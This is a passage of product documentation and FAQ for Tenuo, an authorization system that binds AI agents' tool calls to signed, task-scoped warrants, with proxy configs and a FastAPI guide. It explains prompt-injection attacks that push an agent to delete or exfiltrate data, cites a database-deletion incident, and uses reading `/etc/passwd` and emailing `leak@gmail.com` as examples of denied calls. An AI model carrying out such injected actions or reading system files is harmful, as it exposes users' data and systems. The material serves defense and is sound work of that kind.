extension wheel is missing — for example, after a Docker image rebuild with the wrong `manylinux` tag or a missing `arm64` wheel — enforcement silently degrades: tool calls succeed unconditionally with no warrant attached and no error logged. Set `TENUO_REQUIRE_EXTENSION=1` in production to make this a hard failure at process startup instead: ```bash # In your Dockerfile or deployment environment ENV TENUO_REQUIRE_EXTENSION=1 ``` With this flag, if `tenuo_core` cannot be imported, the process exits immediately with a clear error message that identifies the missing wheel as the cause. Without the flag, the missing extension is logged as a warning but does not halt the process. **Verify the extension is present in your container:** ```bash python -c "import tenuo_core; print('ok')" ``` --- ## Security Architecture ### What's in the Rust Core (the Security Boundary) All security-critical logic runs in a single Rust library (`tenuo_core`), compiled to both native and WASM: | Check | Guarantee | |-------|-----------| | **Ed25519 signature verification** | Warrants cannot be forged or tampered with | | **Proof-of-Possession** | Stolen warrants are useless without the private key | | **Expiration enforcement** | TTL checked on every call; expired warrants are rejected | | **Constraint evaluation** | Every argument validated against the warrant's constraints | | **Chain validation** | Full delegation chain verified from root to leaf | | **Attenuation enforcement** | Child warrants cannot exceed parent's scope | Authorization (signature + expiration + tool lookup) runs locally with no runtime external dependencies. Constraint evaluation adds variable time depending on complexity. No database, no auth server, no token introspection endpoint. A warrant is entirely self-contained. See [Performance Benchmarks](./api-reference#performance-benchmarks) for measured timings. ### What's in the Python Layer (Defense in Depth) The Python SDK adds an additional enforcement layer via `@guard` with `Annotated[]` type hints: ```python @guard(tool="fetch_data") def fetch_data(url: Annotated[str, UrlSafe(allow_domains=["*.example.com"])]): return requests.get(url).text ``` This checks constraints at the Python level *before* the Rust core. Even if a warrant is overly broad, the annotation catches it. This is a defense-in-depth measure. The Rust core is the trust boundary; the Python layer is a safety net. --- ## Summary Every deployment model verifies warrants, so each one blocks unauthorized tool calls regardless of how the call originated. The difference is where the enforcement point sits and what additional threats it covers: | Deployment Model | Blocks prompt injection | Also covers | |------------------|:-----------------------:|-------------| | In-Process (`@guard`) | Yes | Fastest integration, framework-native | | Sidecar | Yes | Agent compromise (RCE) | | Gateway (Envoy `ext_authz`) | Yes | Centralized multi-service policy | | MCP Proxy / server-side verifier | Yes | Unauthorized tool discovery | | A2A | Yes | Unconstrained inter-agent delegation | | In-Process + Sidecar + Network Policy | Yes | Maximum coverage (defense in depth) | --- ## Proxy Configurations Copy-paste-ready configurations for integrating Tenuo authorization at the network layer. ### Envoy External Authorization Tenuo integrates with Envoy as an external authorization service via `ext_authz`. ``` +---------+ +---------+ +-------------+ +---------+ | Client |---->| Envoy |---->| Tenuo Authz | | Backend | | | | | | (9090) | | | +---------+ | |<----| 200 or 403 | | | | | +-------------+ | | | |------------------------>| | | | (only if 200) | | +---------+ +---------+ ``` #### gRPC Mode ```yaml # envoy.yaml static_resources: listeners: - name: main address: socket_address: address: 0.0.0.0 port_value: 8080 filter_chains: - filters: - name: envoy.filters.network.http_connection_manager typed_config: "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: ingress route_config: name: local_route virtual_hosts: - name: backend domains: ["*"] routes: - match: { prefix: "/" } route: { cluster: backend } http_filters: - name: envoy.filters.http.ext_authz typed_config: "@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz grpc_service: envoy_grpc: cluster_name: tenuo-authorizer timeout: 0.25s include_peer_certificate: true - name: envoy.filters.http.router typed_config: "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router clusters: - name: tenuo-authorizer connect_timeout: 0.25s type: STRICT_DNS lb_policy: ROUND_ROBIN http2_protocol_options: {} load_assignment: cluster_name: tenuo-authorizer endpoints: - lb_endpoints: - endpoint: address: socket_address: address: tenuo-authorizer port_value: 9090 - name: backend connect_timeout: 0.5s type: STRICT_DNS lb_policy: ROUND_ROBIN load_assignment: cluster_name: backend endpoints: - lb_endpoints: - endpoint: address: socket_address: address: backend port_value: 8080 ``` #### HTTP Mode (Alternative) ```yaml - name: envoy.filters.http.ext_authz typed_config: "@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz http_service: server_uri: uri: http://tenuo-authorizer:9090 cluster: tenuo-authorizer timeout: 0.25s authorization_request: allowed_headers: patterns: - exact: x-tenuo-warrant - exact: x-tenuo-pop - exact: content-type authorization_response: allowed_upstream_headers: patterns: - exact: x-tenuo-warrant-id ``` ### Istio Integration Add Tenuo as an external authorization provider in Istio's mesh config: ```yaml apiVersion: install.istio.io/v1alpha1 kind: IstioOperator spec: meshConfig: extensionProviders: - name: tenuo-ext-authz envoyExtAuthzGrpc: service: tenuo-authorizer.tenuo-system.svc.cluster.local port: 9090 ``` Then apply an AuthorizationPolicy: ```yaml apiVersion: security.istio.io/v1beta1 kind: AuthorizationPolicy metadata: name: tenuo-authz namespace: default spec: selector: matchLabels: app: my-agent action: CUSTOM provider: name: tenuo-ext-authz rules: - to: - operation: paths: ["/api/*"] ``` ### nginx Integration ```nginx upstream backend { server localhost:8080; } upstream tenuo { server localhost:9090; } server { listen 80; location = /_tenuo_auth { internal; proxy_pass http://tenuo/authorize; proxy_pass_request_body on; proxy_set_header Content-Length ""; proxy_set_header X-Original-URI $request_uri; proxy_set_header X-Original-Method $request_method; proxy_set_header X-Tenuo-Warrant $http_x_tenuo_warrant; proxy_set_header X-Tenuo-PoP $http_x_tenuo_pop; } location /api/ { auth_request /_tenuo_auth; error_page 401 403 = @denied; proxy_pass http://backend; } location @denied { return 403 '{"error": "authorization_denied"}'; add_header Content-Type application/json; } location /health { proxy_pass http://backend; } } ``` ### Docker Compose (Local Development) ```yaml version: '3.8' services: agent: build: . environment: - TENUO_KEYPAIR_PEM=${TENUO_KEYPAIR_PEM} depends_on: - tenuo-authorizer tenuo-authorizer: image: tenuo/authorizer:0.3.1 ports: - "9090:9090" environment: - TRUSTED_ISSUERS=${CONTROL_PLANE_PUBLIC_KEY} volumes: - ./gateway.yaml:/etc/tenuo/gateway.yaml:ro control-plane: image: tenuo/demo-control-plane:0.1 ports: - "8080:8080" environment: - SIGNING_KEY=${CONTROL_PLANE_PRIVATE_KEY} ``` --- ## See Also - [Concepts](./concepts): Problem/solution, warrants, threat model, why Tenuo - [Constraints](./constraints): Complete constraint type reference and argument extraction - [Security](./security): Full threat model, PoP, key management, best practices - [MCP Integration](./mcp): MCP proxy and server-side verification - [A2A Integration](./a2a): Agent-to-agent delegation - [Kubernetes Deployment](./kubernetes): Sidecar and gateway patterns --- # What teams ask before putting Tenuo into production. Source: https://tenuo.ai/faq/ How Tenuo fits into your stack, what changes in your application, and where task-bound authorization adds control.

How it fits into your stack.

What does Tenuo protect?

Tenuo controls the actions agents take through tools and APIs. It checks whether each call belongs to the current task, whether its real arguments stay within the task’s boundaries, and records the decision. It bounds actions rather than trying to control model reasoning.

How does it work with IAM, guardrails and gateways?

It complements them. Guardrails guide model behavior, gateways route and filter traffic, and IAM sets the ceiling for a principal. Tenuo makes the task-level decision at action time, inside those existing controls.

See how the layers fit together →

What happens when one agent delegates to another?

The receiving agent gets a child warrant narrowed to its part of the work. It can drop actions, tighten limits, shorten the lifetime, or delegate a smaller grant again, but it cannot recover authority removed by its parent. The signed chain preserves who authorized every handoff.

See how delegation narrows →

How do approvals and revocation work?

Approval gates pause only the calls that need human authorization and accept signed approvals bound to that exact request. Warrants normally use short lifetimes; for emergency cancellation, verifiers check signed revocation lists locally without adding a network call to the action path. Tenuo Cloud provides managed approval routing and revocation distribution, with enterprise-ready integrations and service guarantees for production deployments.

Where does enforcement run?

At the tool-calling path, immediately before the action executes. The verifier can run in your application, in MCP server middleware, or at a gateway for services you cannot redeploy.

What changes in my application?

Add a verification check to the tool-calling path and pass the task’s warrant with the call. Tenuo provides framework adapters and middleware, so you do not need to replace your identity system or rewrite your tools.

See the quickstart →

What is open source, and what does Tenuo Cloud add?

The warrant protocol, verification core, and Python and TypeScript SDKs are open source under Apache 2.0. Tenuo Cloud adds managed boundaries, warrant issuance, approval routing, revocation lists, dry runs, and decision evidence while verification remains in your infrastructure.

Explore Tenuo Cloud →

Which frameworks and deployment models are supported?

Tenuo supports common agent frameworks, MCP servers, application middleware, and gateway-based enforcement. You can begin with one workflow and add integrations without changing the warrant model.

View supported integrations →

Questions behind the architecture.

Short answers first, with the deeper reasoning available when you want it. ## What is agent delegation? > Agent delegation is when one AI agent passes authority to another so the second agent can act on its behalf. The risk is that the boundary does not travel with the task: the downstream agent inherits whatever credential it is given, which is usually far broader than the work requires. Delegation-safe authorization fixes this by making every downstream grant narrower than the one above it, never wider. ### Why is delegation a security problem? Delegation itself is ordinary engineering. A planner hands a sub-task to a researcher. An orchestrator spawns five workers. A coding agent calls a tool that is itself an agent. None of that is the problem. The problem is what travels with the handoff. In an identity-based system the only thing an agent has to pass down is its credential, and a credential describes who you are, not what this piece of work needs. So the researcher gets the planner’s API key. The worker gets the orchestrator’s service account. Authority that was already too broad at the top of the chain arrives unchanged at the bottom, held by the component with the least context about why it was granted. ### Why doesn’t scoping the credential at the top solve it? Because nothing at the handoff enforces the narrowing. A sub-agent that receives a token can use every permission on that token. If the downstream agent is written by another team, or is a third-party tool, or is assembled at runtime by the model itself, there is no place to put the check. That is why the blast radius of a single confused agent is usually the union of everything its parents could do, rather than the small slice its task required. ### What makes a delegation chain safe? A delegation-safe grant carries the boundary inside it. Each warrant names the actions permitted, the specific resources in scope, the limits that apply and the moment the authority expires. When one agent delegates to another it mints a child warrant from its own, and the format makes widening impossible: the child can drop actions, tighten the resource set, lower a limit or shorten the lifetime, and nothing else. The resulting property is worth stating plainly. No agent anywhere in the chain can hold authority its parent did not hold. A worker five levels deep cannot reach a record the orchestrator was never allowed to touch, however convinced the model is that it should. ### What can you prove after the fact? Every attempt writes a signed receipt naming the full chain of authority behind it, including the attempts that were denied. When someone asks why an agent touched a particular record, the answer is a chain of warrants rather than a log line and an inference. [How agent audit evidence works →](/faq/#audit-trail) ## What is task-bound authorization? > Task-bound authorization grants authority to a single task rather than to an identity. Instead of giving an agent a standing credential, each task carries a signed warrant naming the actions it may perform, the specific records it may touch, any limits that apply, and when the authority expires. When the task ends the authority is gone, so there is no standing credential left for an agent to find and misuse. ### Why isn’t identity enough for an agent? Roles and service accounts were designed for software that does the same thing every day. They answer “who is calling”, and for a payroll job that runs at 2am on the first of the month, who is calling is a good enough proxy for what should be allowed. An agent does something different every run. The same agent that reconciles two invoices this morning is asked to refund a customer this afternoon. Any role broad enough to cover both is far too broad for either, and the gap between what the role permits and what the task needs is the space a runaway agent operates in. ### What is in a warrant? A warrant is issued for one task before the agent acts: these operations, these records, this spending cap, this many minutes. It is signed, so it cannot be edited by whatever is holding it, and it is bound to the agent presenting it, so a copied warrant is useless elsewhere. When the task finishes the authority is gone. There is no standing credential sitting in an environment variable for the next agent to find, and no quarterly access review to catch the one that was never revoked. [The five properties of a warrant →](/protocol/) ### Where does the authorization check run? In-process, at the call site, immediately before the operation executes. That placement matters more than it sounds. A gateway sees a request that looks legitimate; the call site sees the actual arguments (this record, this amount, this recipient) and can compare them against what the warrant names. The verifier can run inside your process, so the action does not depend on a network round trip to a central service. If the verifier is not satisfied, the call does not happen and the denial is recorded. ### What does task-bound authorization not do? It does not make a model behave. It does not detect a malicious instruction, score intent, or decide whether a plan is sensible. It bounds what the resulting actions can touch, which is the part that can be enforced deterministically, and the part that still holds when the model is wrong. [How this compares with guardrails, OAuth scopes and gateways →](/faq/#agent-authorization-vs-guardrails) ## How do you prevent the consequences of prompt injection? > You cannot reliably stop a model from being persuaded by an injected instruction, because the instruction and the goal are processed in the same reasoning loop. What you can do is make sure a persuaded agent has nothing dangerous to reach. If authority arrives with the task, names only the records and operations that task needs, expires on its own and is verified outside the model at the point the action executes, then an injected instruction to delete or exfiltrate data is blocked before it reaches the API, and the denial is recorded. ### Can a filter or classifier stop prompt injection? Not reliably, and not for the reason people hope. Prompt injection is not a parsing bug that a better filter will eventually catch. The injected instruction and the agent’s own goal arrive in the same context and are processed by the same reasoning loop, and the model has no dependable way to tell which text deserves authority. Classifiers help at the margin, and every one of them can be worded around. Treating this as a detection problem also puts the control in the least trustworthy place in the system: inside the model that is the thing being manipulated. ### What should you bound instead? The useful question is not whether an agent can be persuaded but what it can do once it has been. Assume the agent is compromised on every run and ask what the worst call it could make would touch. If the answer is “any customer record” or “any amount”, detection is doing all the work. With task-bound authority the answer is bounded in advance. The warrant for this task names the three records in scope and the two operations required. An injected instruction to drop a table or mail a dataset outward is not a judgement call the model gets to make: the verifier sees an operation the warrant does not name, and the call never reaches the API. ### Which four properties make the block reliable? - **Authority arrives with the task**, so there is no standing permission to borrow. - **It names specific resources**, so “this invoice” cannot become “all invoices”. - **It expires on its own**, so a dormant agent is not a waiting one. - **It is checked outside the model**, at the call site, against the real arguments. ### Has this actually happened to anyone? Yes, and the public cases follow the same shape: a capable agent, a plausible-looking instruction, and one credential lying around that was broader than the task. [Read the PocketOS incident, where an agent deleted a production database in nine seconds →](/faq/pocketos-incident) ### What do you get when the block fires? A denial is a signed receipt: which agent, which warrant, what it tried, what was missing. That turns a successful injection from a silent incident into a logged one, which is usually the difference between finding out in an audit and finding out in the news. [What the receipt contains →](/faq/#audit-trail) ## How do you secure authorization for agent swarms? > In a swarm, authority is handed from orchestrator to worker agents many times per task, and identity-based permissions cannot express that chain. Scoping authority to the task and requiring every delegation to narrow means a worker agent can only ever hold a subset of what its parent held. Each attempt, allowed or blocked, writes a signed receipt naming the full authority chain behind it, so the swarm remains auditable. ### Why is a swarm harder than a single agent? Fan one task out to twenty workers and the interesting question stops being who they are. Workers are spawned per task, live for seconds, and are often indistinguishable from each other in any way an IAM system can name. Provisioning a non-human identity for each one is not practical, so in most deployments they all share the orchestrator’s. That single shared credential becomes the whole security model, and it is held by the most numerous, shortest-lived and least supervised parts of the system. ### How does authority narrow at every hop? Scope authority to the task and let each hop attenuate. The orchestrator holds a warrant for the job. Each worker receives a child warrant covering only its slice (this shard, this region, this subset of records), minted from the parent and provably narrower than it. A worker cannot widen its own authority, cannot reach another worker’s slice, and cannot outlive the job it was spawned for. The bound holds however wide the fan-out gets, because it is a property of the format rather than of anyone remembering to configure it. ### How do you audit a thousand short-lived agents? Every attempt, allowed or blocked, writes a signed receipt naming the full authority chain behind it. So “which worker touched this record, and who authorised it” has an answer that outlives the workers themselves, which a stream of anonymous calls from one shared service account does not. [What that evidence looks like →](/faq/#audit-trail) ### Does it work the same for one agent? There is no separate swarm mode. A single agent calling one tool and an orchestrator fanning out to fifty use the same warrants and the same in-process check. A swarm is just a deeper chain. ## How do you prove what an AI agent did? > You prove it with evidence created at the moment of the decision by a verifier outside the model. Every authorization check writes a signed receipt naming the task, the agent holding the authority, the delegation chain behind it, the operation attempted and whether it was allowed. Because the verifier signs the receipt at decision time, it is a tamper-evident authorization record rather than a claim reconstructed later from agent logs. ### Why aren’t agent logs enough? Three reasons, and they compound. The log is written by the agent, so an agent that was persuaded writes a persuaded log. It is written after the action, so it describes an intention rather than a decision. And it records what succeeded, not what was refused, which means the most interesting events in an agentic system leave no trace at all. Model traces have the same problem one level up. They tell you what the agent said it was doing. They are not a record of what your systems allowed it to do. ### What does an authorization receipt contain? - The task the authority was issued for, and the warrant’s identifier. - The holder: which agent key presented it. - The full delegation chain, hop by hop, back to the original grant. - The operation attempted, with the arguments that were matched against the warrant. - The decision, and for a denial, precisely which constraint was not satisfied. - A timestamp and the verifier’s signature, applied at decision time. Nothing in that list is reconstructed later, and none of it is authored by the agent it describes. ### What do auditors and regulators actually ask for? Rarely a policy document. What gets asked for is evidence that a control operated on a specific date, for a specific action, and that someone could have detected it if it had not. Record-keeping and traceability duties for high-risk AI systems, logical access-control evidence in a SOC 2 audit, and the management and measurement functions of the NIST AI Risk Management Framework all land in the same place: show the decision, not the intention. A signed receipt per authorization decision answers that directly, and it answers it for actions an agent took autonomously at three in the morning. [How this maps to EU AI Act obligations →](/eu-act) ### Why do denials matter more than approvals? An approved action is a system working. A denied action is a signal: an agent attempted something outside the authority its task was given. One denial is a bug in a prompt. A pattern of them is an injection campaign, a mis-scoped workflow, or a model drifting from what you deployed it for. This is also what makes a dry run useful. Run the verifier in observe-only mode against real traffic and the denials you would have issued tell you what your agents are actually reaching for before you enforce anything. ### What happens to access reviews when agents outnumber people? Non-human identity governance assumes a human owner and a quarterly cadence. Agents create and discard working identities per task, thousands of times a week, which breaks both assumptions at once. Task-bound authority sidesteps the review rather than scaling it. There is no standing grant to certify, because authority exists only while the task runs and the receipt is the record that it existed at all. ## How do you secure an MCP server? > MCP standardises how an agent discovers and calls tools, with authorization support for remote transports. What it does not decide is whether this agent, on this task, may make this particular call with these arguments. You secure an MCP server by verifying a task-bound warrant in the server’s middleware, before the tool function runs, so an out-of-scope call is refused at the tool rather than at the model. ### What does MCP cover, and what does it leave to you? MCP gives you a common way to expose tools and a transport that can be authenticated. Authentication answers who connected. It does not answer whether the caller should be allowed to delete this record, refund this order, or read this directory, because that answer depends on the task the agent is currently performing, which the protocol has no view of. In practice most MCP deployments end up with a server that trusts any connected client to call any registered tool with any arguments. That is a reasonable default for a local developer tool and a poor one for anything touching production. ### Where should the check go? In middleware on the MCP server, in front of the tool functions. The server is the last place that sees the real arguments before the operation runs, and it is the one component both the agent and the tool owner have to trust. A verifier there checks the warrant the caller presented: is it signed by a trusted issuer, is it bound to this caller, does it name this tool, do the arguments satisfy its constraints, and has it expired. If any of that fails, the tool never executes. ```python from fastmcp import FastMCP from tenuo.mcp import MCPVerifier, TenuoMiddleware verifier = MCPVerifier(authorizer=authorizer, require_warrant=True) mcp = FastMCP("demo", middleware=[TenuoMiddleware(verifier)]) @mcp.tool() async def read_file(path: str) -> str: return open(path).read() ``` [Full MCP guide →](/mcp) ### Why not enforce this at an API gateway? A gateway sees a well-formed request from an authenticated client. The middleware sees `read_file(path="/etc/passwd")` and can compare that path against the subpath the warrant actually names. Argument-level constraints are where agent authorization lives, and they are mostly invisible at the edge. A gateway is still useful for tools you do not own or cannot redeploy. It is a coarser net, not a substitute. ### What about an agent that calls several MCP servers? This is where task-bound authority pays for itself. One warrant is issued for the task; each server receives a child warrant narrowed to the tools it exposes, and each verifies independently and offline against the issuer’s public key. No server needs to call back to a central authority, and no server can be talked into honouring authority that its parent never held. [How this behaves across a swarm →](/faq/#agent-swarms) ## How does task-bound authorization complement guardrails, IAM and gateways? > Task-bound authorization adds the layer those controls do not express: what this agent may do for this task, with these arguments, right now. Guardrails guide behavior, OAuth and IAM establish identity and broad access, and gateways enforce traffic policy. Tenuo works within those layers to narrow authority at each delegation and record a signed decision when an action is attempted. ### What does each control contribute? | Control | What it covers | What it does not decide | |---|---|---| | System prompt rules | Steering behaviour cheaply, in one place | Lives in the same reasoning loop as the attack, so it competes with the goal instead of constraining it | | Output guardrails and classifiers | Catching known-bad patterns and obvious exfiltration | Probabilistic, and judged on text rather than on the action that follows it | | Human in the loop | High-consequence, low-volume decisions | Does not survive scale; approval fatigue turns review into rubber-stamping | | OAuth scopes, JIT credentials | Time-boxing access to an API surface | A scope names an API, not a record. It cannot say “this invoice only”, and it cannot narrow when delegated | | IAM and RBAC | Setting the ceiling for a principal | Answers what a principal may do at most, never what this task needs right now | | API gateway or proxy | Enforcing traffic policy and protecting services you cannot change | Usually lacks the task context needed to decide whether the specific action belongs to the current job | | Sandboxing and isolation | Containing filesystem and process damage | The dangerous calls in an agent system are authorised API calls, which a sandbox passes straight through | | Macaroons, Biscuit | Offline attenuation of a bearer token | General-purpose capability tokens: no task provenance, no holder binding by default, no agent-framework integration, no receipts | | **Task-bound authorization (Tenuo)** | **Binding authority to one task, checked against real arguments at the call site, narrowing at every delegation, signed evidence per decision** | **Governs calls that route through the checker; it bounds actions rather than reasoning** | ### Why can’t OAuth scopes express a task? A scope is a noun about an API: `invoices.write`. A task is a sentence about the world: refund *this* order, up to *this* amount, in the next thirty minutes. The gap between those two is every other invoice in the system. Short-lived tokens narrow the time dimension, which genuinely helps, and leave the other three (which actions, which records, which limits) as wide as the API surface. A token also cannot be handed to a sub-agent in a narrower form: whoever holds it holds all of it. A warrant can only be passed on narrower than it arrived. [Why that matters at every handoff →](/faq/#agent-delegation) ### Why can’t guardrails make this guarantee? LLM guardrails typically inspect model inputs and outputs, and they answer probabilistically. Authorization checks the action and its real arguments at the point of execution, and answers deterministically. Only the second kind produces a guarantee you can put in front of an auditor. That is not an argument for running agents without guardrails. It is an argument about which layer carries the load. A classifier that is wrong once in a thousand calls is a useful filter and a poor boundary; at agent volumes, once in a thousand happens every day. [Why detection cannot close the prompt-injection gap →](/faq/#prompt-injection) ### Why do capability tokens stop short? Macaroons introduced the idea that a bearer token can be attenuated offline by adding caveats, and Biscuit carried it forward with public-key verification and a datalog policy language. The primitive is right, and Tenuo builds on that lineage rather than pretending to have invented it. What a general-purpose capability token leaves unsolved is everything specific to agents: binding the credential to its holder so a stolen one is worthless, naming the task it was issued for so a record means something afterwards, integrating with the frameworks agents are actually written in, and emitting signed evidence at every decision. Tenuo ships all four. [The five properties of a warrant →](/protocol/) ### What does task-bound authorization give you that nothing else does? - **Authority scoped to one task**, not to an identity, an API or a role. - **Enforcement at the call site**, against the actual arguments, in your own process with no proxy and nothing new to deploy. - **Attenuation by construction**, so no agent in a chain can hold more than its parent held. - **Holder binding**, so a copied warrant is useless to whoever copied it. - **A signed receipt per decision**, denials included, naming the full authority chain. Every other control on this page covers one of those at best. [What the evidence looks like →](/faq/#audit-trail) [Run it against your own agent →](/quickstart/)

In practice.

Still have a question?

Ask us directly, or skip the conversation and run it yourself.

Get started Talk to us

--- # Tenuo FastAPI Integration Source: https://tenuo.ai/fastapi --- ## When to Use This You have internal APIs that AI agents call. Different agents do different tasks at different times. ``` ┌─────────────────┐ │ Agent A │ warrant A │ "Research Q3" │────┐ ┌───────────────▶│ │ │ ┌─────────────────┐ └─────────────────┘ │ │ Orchestrator │ │ HTTP + PoP │ │ ┌─────────────────┐ │ │ Issues scoped │ │ Agent B │ │ ┌─────────────────┐ │ warrants per │ warrant B │ "Email CFO" │────┼──▶│ Your API │ │ task │───────────────▶│ │ │ │ (FastAPI) │ └─────────────────┘ └─────────────────┘ │ │ │ │ │ TenuoGuard │ ┌─────────────────┐ │ │ verifies each │ warrant C │ Agent C │────┘ │ request │ ┌───────────────▶│ (idle - no │ └─────────────────┘ │ │ warrant) │ │ └─────────────────┘ ``` **Concrete scenario:** | Time | Agent | Task | Warrant | API Call | Result | |------|-------|------|---------|----------|--------| | 9:00 | A | "Research Q3 for Acme" | `search`, query=`"acme *"`, TTL=10min | `/search?query=acme+earnings` | Pass | | 9:00 | B | "Draft email to CFO" | `send_email`, to=`*@acme.com`, TTL=5min | `/email` to `cfo@acme.com` | Pass | | 9:02 | A | Same task | Same warrant | `/search?query=competitor+salaries` | DENIED: Pattern mismatch | | 9:02 | B | Same task | Same warrant | `/email` to `leak@gmail.com` | DENIED: Pattern mismatch | | 9:06 | B | (idle) | Warrant expired | `/email` to `cfo@acme.com` | DENIED: Expired | | 9:08 | A | Same task | Still valid | `/search?query=acme+q3` | Pass | | 9:15 | A | (idle) | Warrant expired | `/search?query=anything` | DENIED: Expired | **What Tenuo solves:** | Problem | How Tenuo Handles It | |---------|---------------------| | **Temporal mismatch** -- Agent was authorized 10 min ago, is it still? | Warrants have TTL. Expired = denied. | | **Context mismatch** -- Agent was authorized for Task A, now doing Task B | Each task gets its own warrant with specific constraints. | | **Provenance** -- Who authorized this agent? Can we trace the chain? | Warrant is signed. Chain of custody is cryptographically verifiable. | | **Prompt injection** -- Agent is tricked into doing something malicious | Doesn't matter. Warrant only allows what the task intended. | Your API verifies the warrant. The proof is in the token. --- ## Quick Start ### Option 1: `SecureAPIRouter` (Recommended) Drop-in replacement for `APIRouter` with automatic protection: ```python from fastapi import FastAPI from tenuo.fastapi import SecureAPIRouter, configure_tenuo app = FastAPI() configure_tenuo(app, trusted_issuers=[issuer_pubkey]) # Drop-in replacement for APIRouter router = SecureAPIRouter(tool_prefix="api") @router.get("/users/{user_id}") # Auto-protected as "api_users_user_id_read" async def get_user(user_id: str): return {"user_id": user_id} @router.post("/users", tool="create_user") # Explicit tool name async def create_user(name: str): return {"name": name} @router.delete("/users/{user_id}") # Auto: "api_users_user_id_delete" async def delete_user(user_id: str): return {"deleted": user_id} app.include_router(router) ``` **Tool Name Inference:** The tool name is automatically inferred from the path and HTTP method: | Path | Method | Inferred Tool | |------|--------|---------------| | `/users/{user_id}` | GET | `api_users_user_id_read` | | `/users` | POST | `api_users_create` | | `/users/{user_id}` | PUT | `api_users_user_id_update` | | `/users/{user_id}` | PATCH | `api_users_user_id_update` | | `/users/{user_id}` | DELETE | `api_users_user_id_delete` | ### Option 2: `TenuoGuard` Dependency (Fine Control) For explicit tool naming per route: ```python from fastapi import FastAPI, Depends from tenuo.fastapi import TenuoGuard, SecurityContext, configure_tenuo app = FastAPI() configure_tenuo(app, trusted_issuers=[issuer_pubkey]) @app.get("/search") async def search( query: str, ctx: SecurityContext = Depends(TenuoGuard("search")) ): # ctx.warrant is verified, ctx.args contains extracted arguments return {"results": [...]} ``` --- ## Installation ```bash uv pip install "tenuo[fastapi]" ``` --- ## API Reference ### `configure_tenuo()` Configure Tenuo at app startup: ```python from tenuo.fastapi import configure_tenuo configure_tenuo( app, trusted_issuers=[issuer_pubkey], # Required in production expose_error_details=False, # Don't leak constraint info ) ``` | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `app` | `FastAPI` | *required* | FastAPI application instance | | `trusted_issuers` | `List[PublicKey]` | `None` | Trusted warrant issuers (**required in production**) | | `expose_error_details` | `bool` | `False` | Include detailed errors in response | ### `TenuoGuard` Dependency that extracts and verifies warrants: ```python from fastapi import Depends from tenuo.fastapi import TenuoGuard, SecurityContext @app.post("/files/{path:path}") async def read_file( path: str, ctx: SecurityContext = Depends(TenuoGuard("read_file")) ): # path automatically extracted from route # ctx.warrant is verified # ctx.args = {"path": path} return {"content": "..."} ``` **Argument extraction (default):** - Path parameters: Extracted from URL - Query parameters: Extracted from query string > **Note:** JSON body fields are **not** extracted by default. To include body fields, provide a custom `extract_args` function to `TenuoGuard`. ### `SecurityContext` Context object injected into route handlers: | Property | Type | Description | |----------|------|-------------| | `tool` | `str` | The tool name that was matched | | `warrant` | `Warrant` | The verified warrant | | `args` | `dict` | Extracted arguments used for authorization | ```python from fastapi import Depends from tenuo.fastapi import TenuoGuard, SecurityContext @app.get("/api/data") async def get_data(ctx: SecurityContext = Depends(TenuoGuard("get_data"))): print(f"Tool: {ctx.tool}") print(f"Warrant ID: {ctx.warrant.id}") print(f"Tools: {ctx.warrant.tools}") print(f"Args: {ctx.args}") ``` ### `SecureAPIRouter` Drop-in replacement for FastAPI's `APIRouter` with automatic Tenuo protection: ```python from tenuo.fastapi import SecureAPIRouter router = SecureAPIRouter( tool_prefix="api", # Optional prefix for tool names require_pop=True, # Require PoP signatures (default: True) ) ``` **Parameters:** | Parameter | Type | Default | Description | |-----------|------|---------|-------------| | `tool_prefix` | `str` | `None` | Prefix for auto-generated tool names | | `require_pop` | `bool` | `True` | Require Proof-of-Possession signatures | **Methods:** All standard `APIRouter` methods are supported, with an additional `tool` parameter: ```python @router.get("/path", tool="custom_tool_name") @router.post("/path") # Auto-inferred tool name @router.put("/path") @router.delete("/path") @router.patch("/path") ``` --- ## Headers Tenuo expects these HTTP headers: | Header | Description | |--------|-------------| | `X-Tenuo-Warrant` | Base64-encoded warrant (or warrant stack) | | `X-Tenuo-PoP` | Base64-encoded Proof-of-Possession signature | | `X-Tenuo-Approvals` | Base64-encoded JSON array of base64 CBOR `SignedApproval` blobs (optional, for retry) | **Example request (with approval retry):** ```bash # approvals_b64 = base64(json.dumps([base64(cbor_signed_approval), ...])) curl -X GET "https://api.example.com/search?query=test" \ -H "X-Tenuo-Warrant: eyJ3YXJyYW50IjoiLi4uIn0=" \ -H "X-Tenuo-PoP: SGVsbG8gV29ybGQ=" \ -H "X-Tenuo-Approvals: W3siLi4uIn1d" ``` On **409** with `"error": "approval_required"`, read `request_hash` from the body, sign, and re-submit with `X-Tenuo-Approvals`. See [Human Approvals](approvals.md#wire-format-retry-payloads). --- ## Error Handling ### Error Responses Tenuo returns structured errors with canonical wire codes: ```json { "error": "constraint-violation", "error_code": 1501, "message": "Constraint violation: field 'amount' exceeded maximum value", "details": {} } ``` **Wire Code Support:** The FastAPI integration automatically includes canonical error codes (1000-2199) that map to HTTP status codes. This enables: - **Machine-readable errors**: Clients can programmatically handle specific error types - **Cross-protocol consistency**: Same error codes used across HTTP, JSON-RPC, and gRPC - **Precise debugging**: Error codes pinpoint the exact failure reason Common error codes: | Wire Code | Name | HTTP Status | Meaning | |-----------|------|-------------|---------| | 1100 | `signature-invalid` | 401 | Invalid cryptographic signature | | 1300 | `warrant-expired` | 401 | Warrant TTL exceeded | | 1500 | `tool-not-authorized` | 403 | Tool not in warrant's allowed list | | 1501 | `constraint-violation` | 403 | Argument violates constraint | | 1600 | `pop-signature-mismatch` | 403 | PoP verification failed | | 1700 | `insufficient-approvals` | **409** | Multi-sig threshold not met (`got` / `need` in body) | | 1707 | `approval-required` | **409** | Approval gate fired (`request_hash` in body) | | 1800 | `warrant-revoked` | 401 | Warrant revoked by issuer | Approval retries use **409 Conflict** (not 403) so clients can branch separately from scope denials. Re-submit with `X-Tenuo-Approvals`. See [Human Approvals](approvals.md#signals-by-integration). See [wire format specification](./spec/wire-format-v1#appendix-a-error-code-reference) for the complete list. ### Status Codes | Code | Meaning | |------|---------| | `400 Bad Request` | Malformed request (invalid base64, missing fields) | | `401 Unauthorized` | Authentication failed (expired, revoked, bad signature) | | `403 Forbidden` | Authorization failed (tool/constraints not satisfied) | | `413 Payload Too Large` | Warrant or request exceeds size limits | ### Custom Error Handling ```python from fastapi import 